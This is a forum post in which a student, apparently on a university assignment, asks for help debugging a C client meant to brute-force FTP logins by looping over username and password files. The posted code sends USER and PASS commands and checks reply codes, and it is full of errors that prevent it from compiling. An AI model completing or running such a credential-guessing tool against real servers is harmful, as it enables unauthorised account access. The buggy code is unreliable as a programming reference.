Hello,
I have developed a client server application using C.
i have a list of usernames and a list of passwords in a text file. i need to be able to do 2 loops so i can send the usernames and the passwords to the server and get a response back. basically its a ftp force attack to find the correct username and password. i have written most of the code but i'm kind of strugling to finish it off and sort out the errors. this is a task we have to do for university. i have tried different books and websites and still can't sort out the errors. i really need your help.
Any advice would be most helpfull
this is the client part -
#include <stdio.h> /* for printf() and fprintf() */
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#include <sys/socket.h> /* for socket(), connect(), send(), and recv() */
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#include <arpa/inet.h> /* for sockaddr_in and inet_addr() */
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#include <stdlib.h> /* for atoi() and exit() */
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#include <string.h> /* for memset() */
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#include <unistd.h> /* for close() */
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#define BUFSIZE 4096 /* Size of receive buffer */
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void DieWithError(char *errorMessage); /* Error handling function */
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void handeltcpclient(int sock, char *argv[]); /* Server handling function */
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int main(int argc, char *argv[])
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{
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int sock; /* Socket descriptor */
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struct sockaddr_in echoServAddr; /* Echo server address */
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unsigned short echoServPort; /* Echo server port */
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char *servIP; /* Server IP address (dotted quad) */
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if ((argc < 2) || (argc > 3)) /* Test for correct number of arguments */
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{
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fprintf(stderr, "Usage: %s <Server IP> [<Port>]\n",argv[0]);
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exit(1);
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}
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servIP = argv[1]; /* First arg: server IP address (dotted quad) */
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if (argc == 3)
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echoServPort = atoi(argv[2]); /* Use given port, if any */
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else
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echoServPort = 21; /* 7 is the well-known port for the echo service */
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/* Create a reliable, stream socket using TCP */
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if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
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DieWithError("socket() failed");
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/* Construct the server address structure */
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memset(&echoServAddr, 0, sizeof(echoServAddr)); /* Zero out structure */
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echoServAddr.sin_family = AF_INET; /* Internet address family */
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echoServAddr.sin_addr.s_addr = inet_addr(servIP); /* Server IP address */
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echoServAddr.sin_port = htons(echoServPort); /* Server port */
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/* Establish the connection to the echo server */
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if (connect(sock, (struct sockaddr *) &echoServAddr, sizeof(echoServAddr)) < 0)
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DieWithError("connect() failed");
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handeltcpclient(sock, argv);
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close(sock);
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}
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this is the handeltcpclient.c -
#include <stdio.h> /* for printf() and fprintf() */
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#include <string.h> /* for printf() and fprintf() */
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#include <sys/socket.h> /* for recv() and send() */
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#include <unistd.h> /* for close() */
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#define BUFSIZE 4096 /* Size of receive buffer */
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void DieWithError(char *errorMessage); /* Error handling function */
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char sendBuf[BUFSIZE]; /* Send Buffer */
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char rcvBuf[BUFSIZE];
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char rcvMsgSize[BUFSIZE];
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char srvBuf[BUFSIZE];
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char clntBuf[BUFSIZE];
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char USER[15];
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char PASS[15];
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FILE *fileuser;
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FILE *filepassword;
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int MsgSize;
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int result;
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char response[3];
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void handeltcpclient(int clntSocket)
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{
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/* Recieve message from client */
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memset(&rcvBuf,0,sizeof(rcvBuf));
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rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
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/* Recieve Server Responses */
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memset (&clntBuf,0,sizeof(clntBuf));
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memset (&srvBuf,0,sizeof(srvBuf));
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MsgSize = RecieveMessage(clntSocket,&srvBuf, sizeof(srvBuf));
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printf("Recieved: %s" &srvBuf,rcvMsgSize);
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response = strncpy(&srvBuf, 3);
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result = strcmp( result, "230");
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if( result == 0)
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{
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sprintf(&clntBuf, "USER %s", USER);
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send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
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DieWithError("send() sent a different number of bytes than expected");
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printf("Recieved: %s" &srvBuf,messageSize);
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/* Opening username.txt to selecting USER */
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if (fileuser = (fopen ("usernames.txt", "r")) ==NULL)
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{
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printf("Error opening file.\n");
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return 1;
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}
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else {
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printf ("File opened.\n");
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while (fgets(USER, 15, file != NULL))
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{
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printf("%s",USER);
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}
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/*send USER to server*/
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sprintf(clntBuf, "USER %s", USER);
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if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf)))
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DieWithError("send() sent a different number of bytes than expected");
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printf("The attemped username was: %s\n");
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return 0;
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/* Recieve message from client */
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memset(&rcvBuf,0,sizeof(rcvBuf));
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rcvMsgSize = RecieveMessage(clntSocket, &rcvBuf, sizeof(rcvBuf));
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response = strncpy(&srvBuf, 3);
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result = strcmp( result, "331");
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if( result == 0)
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{
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sprintf(&clntBuf, "PASS %s", PASS);
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send(clntSocket, &clntBuf, strlen(clntBuf), 0)!= (strlen(clntBuf));
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DieWithError("send() sent a different number of bytes than expected");
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result = strncpy(&srvBuf, 3);
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result = strcmp(result, "230");
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if (result == 0)
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{
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printf("successfully connected.\n");
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{
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sucess ++;
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}
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/* Opening passwords.txt to selecting PASS */
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(
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if (filepassword = (fopen ("passwords.txt", "r"))==NULL)
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{
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printf("Error opening file.\n");
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return 1;
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}
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(
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else {
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printf ("File opened.\n");
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while (fgets(PASS, 15,file)!=NULL)
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{
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printf("%s",PASS);
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}
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}
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/*send PASS to server*/
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sprintf(clntBuf, "PASS %s", PASS);
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if ( send(clntSocket, &clntBuf, strlen(clntBuf), 0) != (strlen(clntBuf)))
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DieWithError("send() sent a different number of bytes than expected");
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printf("Closing file.\n");
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fclose(file);
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printf("The attempted password was: %s\n");
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return 0;
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}
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int RecieveMessage (int s,char *buf, int maxLen)
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{
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int received = 0;
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int rv = 0;
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rv = recv(s, buf+received, 5, 0);
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while ((received < maxLen) && (rv > 0) && *(buf+received) != '\n')
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{
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received += rv;
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rv = recv(s, buf+received, 5, 0);
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}
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if (rv < 0)
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{
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DieWithError("revc() failed");
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}
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return received;
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}
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/*end*/
this is the diewitherror.c (error handling file) -
#include <stdio.h> /* for perror() */
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#include <stdlib.h> /* for exit() */
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void DieWithError(char *errorMessage)
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{
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perror(errorMessage);
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exit(1);
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}
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